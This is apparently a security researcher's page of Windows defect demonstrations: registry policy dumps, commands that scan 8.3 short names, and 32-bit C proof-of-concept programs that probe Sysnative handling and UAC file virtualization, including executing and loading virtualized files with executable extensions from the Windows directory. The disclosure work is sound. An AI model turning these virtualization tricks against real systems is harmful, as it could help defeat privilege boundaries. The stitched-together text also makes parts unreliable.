The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop] "NoAddingComponents"=dword:00000001 "NoComponents"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments] "ScanWithAntiVirus"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection\Users] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] "ForceActiveDesktopOn"=dword:00000000 "NoActiveDesktop"=dword:00000001 "NoActiveDesktopChanges"=dword:00000001 "NoRecentDocsHistory"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID] "{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}"="1" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum] "{0DF44EAA-FF21-4412-828E-260A8728E7F1}"=dword:00000020 "{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}"=dword:40000021 "{BDEADF00-C265-11D0-BCED-00A0C90AB50F}"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing] "CountryCode"="EN" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorAdmin"=dword:00000005 "ConsentPromptBehaviorUser"=dword:00000003 "DSCAutomationHostEnabled"=dword:00000002 "EnableCursorSuppression"=dword:00000001 "EnableFullTrustStartupTasks"=dword:00000002 "EnableInstallerDetection"=dword:00000001 "EnableLUA"=dword:00000001 "EnableSecureUIAPaths"=dword:00000001 "EnableUIADesktopToggle"=dword:00000000 "EnableUwpStartupTasks"=dword:00000002 "EnableVirtualization"=dword:00000001 "PromptOnSecureDesktop"=dword:00000001 "SupportFullTrustStartupTasks"=dword:00000001 "SupportUwpStartupTasks"=dword:00000001 "ValidateAdminCodeSignatures"=dword:00000000 "dontdisplaylastusername"=dword:00000000 "legalnoticecaption"="" "legalnoticetext"="" "scforceoption"=dword:00000000 "shutdownwithoutlogon"=dword:00000001 "undockwithoutlogon"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard\ExceptionFormats] "CF_BITMAP"=dword:00000002 "CF_DIB"=dword:00000008 "CF_DIBV5"=dword:00000011 "CF_OEMTEXT"=dword:00000007 "CF_PALETTE"=dword:00000009 "CF_TEXT"=dword:00000001 "CF_UNICODETEXT"=dword:0000000d The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Peernet] "Disabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\TPM] "OSManagedAuthLevel"=dword:00000005 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\BITS] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] "CallLegacyWCMPolicies"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DriverSearching] "DriverUpdateWizardWuSearchEnabled"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\EnhancedStorageDevices] "TCGSecurityActivationDisabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Network Connections] "NC_PersonalFirewallConfig"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator] @="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers] "authenticodeenabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SettingSync] "EnableBackupForWin8Apps"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\GroupPolicy] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\Local] "WCMPresent"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WorkplaceJoin] @="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI\Discovery Proxies] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client] "fEnableUsbBlockDeviceBySetupClass"=dword:00000001 "fEnableUsbNoAckIsochWriteToDevice"=dword:00000050 "fEnableUsbSelectDeviceByInterface"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbBlockDeviceBySetupClasses] "1000"="{3376f4ce-ff8d-40a2-a80f-bb4359d1415c}" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbSelectDeviceByInterfaces] "1000"="{6bdd1fc6-810f-11d0-bec7-08002be2092f}" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Windows File Protection] "KnownDllList"="nlhtml.dll"
Windows supports long file names up to 255 characters in length. Windows also generates an MS-DOS-compatible (short) file name in 8.3 format to allow MS-DOS-based or 16-bit Windows-based programs to access the files.The MSKB article 896458 states:
The x64-based versions of Windows don't support 16-bit programs, 16-bit processes, or 16-bit components.121007 210638 226403 Windows components installed on demand Microsoft but ships the installation media for
shortfile names in the system images!
Note: the installation media of
Windows 7 have no 8.3 alias
short
file names in their system images – disabling 8.3
file name generation on the target drive before running the setup
program is therefore sufficient to perform a clean
installation!
shortfile and directory names on a current, preferable fresh installation of Windows 10 or Windows 11.
Start the Command Processor
Cmd.exe
, then execute
the following command lines:
VER 1>blunder.log ( FOR /D /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?" ) FIND.EXE /C /V "" blunder.log 1>blunder.txt ( FOR /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?" ) FIND.EXE /C /V "" blunder.txtNote: the command lines can be copied and pasted as block into a Command Processor window.
Caveat: the command lines miss hidden
directories and files as well as directories and files with short
name equal to their long name!
Caveat: unless run under the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account or with the
SeBackupPrivilege
alias
SE_BACKUP_NAME
privilege
enabled, these command lines also miss subdirectories and files in
all directories without List Directory
access permission for the current user account!
Microsoft Windows [Version 10.0.26100.1742] ---------- blunder.log: 16034 ---------- blunder.txt: 55140
Start the Command Processor
Cmd.exe
with
administrative access rights, then repeat the previous step:
Microsoft Windows [Version 10.0.26100.1742] ---------- blunder.log: 18206 ---------- blunder.txt: 66172
Finally execute the following command line:
FSUTIL.EXE 8dot3name scan /l "%TMP%\blunder.log" /s "%SystemDrive%\\"
Scanning registry... Total affected registry keys: 222 Scanning 8dot3 names... Total files and directories scanned: 148550 Total 8dot3 names found: 84138 Total 8dot3 names stripped: 0 For details on the operations performed please see the log: "C:\Users\ADMINI~1\AppData\Local\Temp\blunder.log"Note: all (here: 222) enumerated registry keys (really: registry entries) are false positives –
FSUtil.exe
(really: its most obviously incompetent developer) considers file
names like $WINDOWS.~BT
and
Clipchamp.Clipchamp_3.0.10220.0_neutral_~_yxz26nhyzhsrt
just due to the ~
to be short!
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access. This mechanism is flexible and easy to use, therefore, it is the recommended mechanism to bypass file system redirection. Note that 64-bit applications cannot use the Sysnative alias as it is a virtual directory not a real one.
FSUtil.exe
console application to enumerate
hardlinks of files residing in the native system directory.
Start the Command Processor
Cmd.exe
with
administrative access rights, then execute the following single
command line:
IF EXIST "%SystemRoot%\SysWoW64\FSUtil.exe" "%SystemRoot%\SysWoW64\FSUtil.exe" HARDLINK LIST "%SystemRoot%\Sysnative\FSUtil.exe"
Error: The parameter is incorrect.
OUCH: the File System Utilityhas one job, but fails to interact with the File System Redirector!
The documentation for the Win32 function
FindFirstFileNameW()
states:
Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the enumeration that can be used on subsequent calls to the FindNextFileNameW function.OOPS: in the 64-bit environment, the value of[…]
If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with the FindClose function.
If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error information, call the GetLastError function.
INVALID_HANDLE_VALUE
is but 0xFFFFFFFFFFFFFFFF!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define BLUNDER L"\\Sysnative\\NTDLL.dll"
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_NOT_SUPPORTED;
DWORD dwBlunder;
WCHAR szBlunder[MAX_PATH];
BOOL bBlunder;
HANDLE hBlunder = GetCurrentProcess();
if (!IsWow64Process(hBlunder, &bBlunder))
dwError = GetLastError();
else
if (bBlunder)
{
dwBlunder = GetSystemWindowsDirectory(szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
if (dwBlunder == 0UL)
dwError = GetLastError();
else
{
memcpy(szBlunder + dwBlunder, BLUNDER, sizeof(BLUNDER));
dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
hBlunder = FindFirstFileNameW(szBlunder, 0UL, &dwBlunder, szBlunder);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
while (FindNextFileNameW(hBlunder, &dwBlunder, szBlunder));
dwError = GetLastError();
if (dwError == ERROR_HANDLE_EOF)
dwError = ERROR_SUCCESS;
if (!FindClose(hBlunder))
dwError = GetLastError();
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. for the 32-bit execution environment:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH: the Win32 function
FindFirstFileNameW()
fails to support the virtual directory name SysNative
required on 64-bit systems to access the system directoryfrom 32-bit applications!
Virtualization is only enabled for:Windows Vista Application Development Requirements for User Account Control Compatibility How User Account Control (UAC) Affects Your Application In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:[…]
32 bit interactive processes
Administrator writeable file/folder and registry keys
File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.
When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.CAVEAT: the Win32 functions
CreateProcess*()
and LoadLibrary*()
which
load (and execute) image files but don’t care
for extensions – only the content of the file (really: the
NTFS
File Stream)
matters to them!
Mark Russinovich repeats these wrong statements in his TechNet article Inside Windows Vista User Account Control!
The MSDN
article
File Attribute Constants
documents FILE_ATTRIBUTE_VIRTUAL
rather terse:
File attributes are metadata values stored by the file system on disk and are used by the system and are available to developers via various file I/O APIs.CAVEAT:[…]
Constant/value Description … … FILE_ATTRIBUTE_VIRTUAL
65536 (0x10000)This value is reserved for system use.
FILE_ATTRIBUTE_VIRTUAL
is no
persistent attribute!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si),
(LPWSTR) NULL,
(LPWSTR) NULL,
(LPWSTR) NULL,
0UL, 0UL, 0UL, 0UL,
0UL, 0UL,
0UL,
STARTF_USESTDHANDLES,
0U,
0U,
(LPBYTE) NULL,
INVALID_HANDLE_VALUE, // STDIN
INVALID_HANDLE_VALUE, // STDOUT
INVALID_HANDLE_VALUE}; // STDERR
const LPCWSTR szExtension[] = {L".acm", L".asa", L".asp", L".ax", L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
L".iso", L".isp", L".its", L".js", L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
L".tsp", L".ttf", L".url", L".vb", L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwExtension = 0UL;
DWORD dwError = ERROR_SUCCESS;
DWORD dwModule;
WCHAR szModule[MAX_PATH];
WCHAR szBlunder[MAX_PATH];
DWORD dwBlunder;
DWORD dwVirtual;
WCHAR szVirtual[MAX_PATH];
HANDLE hVirtual;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule == 0UL)
PrintConsole(hError,
L"GetModuleFileName() returned error %lu\n",
dwError = GetLastError());
else
{
dwBlunder = GetSystemWindowsDirectory(szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetSystemWindowsDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef BLUNDER
wcscpy(szBlunder + dwBlunder, L":Blunder");
#else
wcscpy(szBlunder + dwBlunder, L"\\Blunder");
if (!CreateDirectory(szBlunder,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hError,
L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
dwVirtual = GetFileAttributes(szBlunder);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hError,
L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hError,
L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szBlunder);
if (!RemoveDirectory(szBlunder))
PrintConsole(hError,
L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder);
}
#endif // BLUNDER
do
{
wcscpy(szBlunder + dwBlunder + sizeof("Blunder"), szExtension[dwExtension]);
hVirtual = CreateFile(szBlunder,
FILE_WRITE_DATA,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hVirtual == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
dwVirtual = GetFileAttributes(szBlunder);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hError,
L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hError,
L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szBlunder);
dwVirtual = GetFinalPathNameByHandle(hVirtual,
szVirtual,
sizeof(szVirtual) / sizeof(*szVirtual),
FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
if (dwVirtual == 0UL)
PrintConsole(hError,
L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
PrintConsole(hError,
L"File \'%ls\' is virtualized as \'%ls\'\n",
szBlunder, szVirtual + 4);
if (!WriteFile(hVirtual,
L"\xFEFF", // UTF-16LE byte order mark
sizeof(L'\xFEFF'),
&dwVirtual,
(LPOVERLAPPED) NULL))
PrintConsole(hError,
L"WriteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
if (dwVirtual != sizeof(L'\xFEFF'))
PrintConsole(hError,
L"WriteFile() wrote %lu of %lu bytes to file \'%ls\'\n",
dwVirtual, sizeof(L'\xFEFF'), szBlunder);
if (!CloseHandle(hVirtual))
PrintConsole(hError,
L"CloseHandle() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
if (!CreateProcess(szBlunder,
(LPWSTR) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
TRUE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
L"\0",
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hError,
L"CreateProcess() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
PrintConsole(hError,
L"File \'%ls\' started as process %lu with primary thread %lu\n",
szBlunder, pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
hVirtual = LoadLibrary(szBlunder);
if (hVirtual == NULL)
PrintConsole(hError,
L"LoadLibrary() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
PrintConsole(hError,
L"File \'%ls\' loaded at address 0x%p\n",
szBlunder, hVirtual);
if (!FreeLibrary(hVirtual))
PrintConsole(hError,
L"FreeLibrary() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
PrintConsole(hError,
L"File \'%ls\' unloaded from 0x%p\n",
szBlunder, hVirtual);
}
if (!DeleteFile(szBlunder))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder);
}
#ifndef BLUNDER
if (!CreateHardLink(szBlunder,
szModule,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hError,
L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
dwVirtual = GetFileAttributes(szBlunder);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hError,
L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hError,
L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szBlunder);
if (!CreateProcess(szBlunder,
(LPWSTR) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
TRUE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
L"\0",
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hError,
L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
PrintConsole(hError,
L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
szBlunder, pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
hVirtual = LoadLibrary(szBlunder);
if (hVirtual == NULL)
PrintConsole(hError,
L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
{
PrintConsole(hError,
L"Hardlink \'%ls\' loaded at address 0x%p\n",
szBlunder, hVirtual);
if (!FreeLibrary(hVirtual))
PrintConsole(hError,
L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
else
PrintConsole(hError,
L"File \'%ls\' unloaded from 0x%p\n",
szBlunder, hVirtual);
}
if (!DeleteFile(szBlunder))
PrintConsole(hError,
L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder);
}
#endif // BLUNDER
}
while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. for the 32-bit execution environment:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers blunder.c(281) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
